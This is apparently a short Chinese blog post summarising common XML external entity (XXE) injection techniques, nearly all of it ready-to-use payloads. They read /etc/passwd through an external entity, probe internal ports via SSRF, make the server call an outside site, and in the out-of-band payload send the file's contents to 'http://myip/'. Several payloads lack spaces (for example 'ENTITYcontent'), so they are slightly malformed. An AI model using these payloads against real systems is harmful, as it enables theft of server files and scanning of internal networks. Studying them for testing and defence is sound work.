XXE常见利用方式
XML外部实体注入
1、有回显—读服务器文件:
外部一般实体:
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITYcontent SYSTEM"file:///etc/passwd">]>
<name>&content;</name>
2、SSRF—探测端口:
适用于有回显和blind xxe,也是外部一般实体:
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>
<name>&content;</name>
根据响应时间判断:
开放端口,响应时间为16millis
未开放端口,延迟反应1047millis
3、Blind xxe
控制web服务器任意发包:0
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITYcontent SYSTEM " http://<oursite>/hhhhhhh">]>
<name>&content;</name>
4、OOB blind
OOB(Out-Of-Band)是个通用的技巧,在其他漏洞场景也有利用。在这里其实是1和3的结合,发两个包,分别请求web服务器的敏感文件和我们的服务器,以此将数据带出:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY% files SYSTEM "file:///etc/passwd">
<!ENTITY% send SYSTEM "http://myip/?a=%files;">
%send;]>
本文来自博客园,作者:Haibara-Z3r0,转载请注明原文链接:https://www.cnblogs.com/Yu-0/p/17040347.html